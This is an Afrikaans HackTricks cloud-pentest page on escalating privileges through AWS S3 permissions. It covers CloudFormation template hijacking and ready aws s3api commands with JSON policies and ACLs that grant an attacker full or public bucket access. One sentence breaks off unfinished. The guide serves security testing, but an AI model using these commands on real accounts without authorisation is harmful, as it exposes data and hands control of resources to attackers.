AWS - S3 Privesc

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

'n Aanvaller met daardie toestemmings oor interessante emmers mag dalk in staat wees om hulpbronne te kap en voorregte te verhoog.

Byvoorbeeld, 'n aanvaller met daardie toestemmings oor 'n cloudformation emmer genaamd "cf-templates-nohnwfax6a6i-us-east-1" sal in staat wees om die ontplooiing te kap. Die toegang kan gegee word met die volgende beleid:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

En die kaapting is moontlik omdat daar 'n klein tydvenster van die oomblik af dat die sjabloon na die emmer opgelaai word tot die oomblik dat die sjabloon ontplooi word. 'n Aanvaller kan eenvoudig 'n lambda-funksie in sy rekening skep wat geaktiveer word wanneer 'n emmer kennisgewing gestuur word, en kaap die inhoud van daardie emmer.

Die Pacu-module cfn__resouce_injection kan gebruik word om hierdie aanval te outomatiseer. Vir meer inligting, kyk na die oorspronklike navorsing: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Dit is die toestemmings om objekte na S3 te kry en op te laai. Verskeie dienste binne AWS (en buite dit) gebruik S3-stoor om konfigurasie lêers te stoor. 'n Aanvaller met lees toegang tot hulle kan sensitiewe inligting daarop vind. 'n Aanvaller met skryf toegang tot hulle kan die data verander om 'n diens te misbruik en probeer om voorregte te verhoog. Hierdie is 'n paar voorbeelde:

• As 'n EC2-instantie die gebruikersdata in 'n S3-emmer stoor, kan 'n aanvaller dit verander om arbitraire kode binne die EC2-instantie uit te voer.

s3:PutBucketPolicy

'n Aanvaller, wat moet wees van dieselfde rekening, anders sal die fout Die gespesifiseerde metode is nie toegelaat nie geaktiveer word, met hierdie toestemming sal in staat wees om vir homself meer toestemmings oor die emmer(s) toe te ken wat hom toelaat om emmers te lees, te skryf, te verander, te verwyder en bloot te stel.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

'n Aanvaller kan hierdie toestemmings misbruik om hom meer toegang te gee oor spesifieke emmers. Let daarop dat die aanvaller nie van dieselfde rekening hoef te wees nie. Boonop is die skryftoegang

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

'n Aanvaller kan hierdie toestemmings misbruik om hom meer toegang tot spesifieke voorwerpe binne emmers te verleen.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

'n Aanvaller met hierdie voorregte word verwag om 'n Acl op 'n spesifieke objekweergawe te kan plaas

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.